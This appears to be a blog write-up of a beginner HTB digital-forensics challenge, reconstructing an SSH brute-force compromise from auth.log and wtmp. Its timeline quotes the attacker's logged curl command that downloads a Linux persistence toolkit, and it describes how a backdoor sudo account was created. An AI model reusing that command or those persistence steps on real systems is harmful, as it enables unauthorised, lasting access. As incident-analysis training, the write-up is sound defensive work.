rhys@mcclew:~$
CTFS / HTB Sherlocks / Brutus

Brutus

DFIRVery Easy

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

PUBLISHED2025.10.27
READ TIME~2 MIN
CONTENTS▾
01Executive Summary02Artefacts03Events Timeline

1. Executive Summary

This report details the forensic investigation into a device compromise via a Brute Force Attack against its SSH service. The investigation utilised the provided Unix auth.log and wtmp artifacts. Analysis confirmed a successful breach, post-exploitation activities including privilege escalation and persistence via a new user account, and the subsequent download of an external script. The threat actor’s initial access was gained using the root account.

2. Artefacts

ArtefactDescription
auth.logLinux authentication logs used to track authentication, sshd actions, sudo actions, and command execution via sudo.
wtmpBinary file logging all login/logout, system reboots, and runlevel changes. Used to track interactive terminal sessions.
utmp.pyTool used to parse binary wtmp into a human-readable format (wtmp.out).

3. Events Timeline

DatetimeATT&CK IDDescription
06/03/25 06:31:31T1110 - Brute ForceNumerous "Invalid user" and "Failed password" entries from the attacker's IP address.
06/03/25 06:31:40T1110 - Brute ForceSuccessful authentication for the root account via SSH. auth.log: Accepted password for root from 65.2.161.68.
06/03/25 06:31:40T1110 - Brute ForceImmediate session close, typical of a brute-forcing tool. auth.log: Disconnected from user root....
06/03/25 06:32:44T1078 - Valid AccountsAttacker logs in manually (interactive session established). auth.log: Accepted password for root from 65.2.161.68.
06/03/25 06:32:45T1078 - Valid AccountsInteractive terminal session established (Session ID 37). wtmp: root session start at 2024/03/06 06:32:45.
06/03/25 06:35.13T1136.001 - Create Local AccountNew user cyberjunkie created. auth.log: useradd... new user=cyberjunkie.
06/03/25 06:35.15T1098 - Account ManipulationNew user added to the sudo group for elevated privileges. auth.log: usermod... add cyberjunkie to group "sudo".
06/03/25 06:37.24n/aAttacker's first interactive session (ID 37) is closed. auth.log: session 37 logged out... removed session 37.
06/03/25 06:37.34T1078 - Valid AccountsAttacker logs in as the new persistent user cyberjunkie.
06/03/25 06:39.38T1105 - Ingress Tool TransferScript downloaded using sudo privileges. auth.log: COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh.<br>This script is described as a "linux persistence toolkit" on its official GitHub page: https://github.com/montysecurity/linper.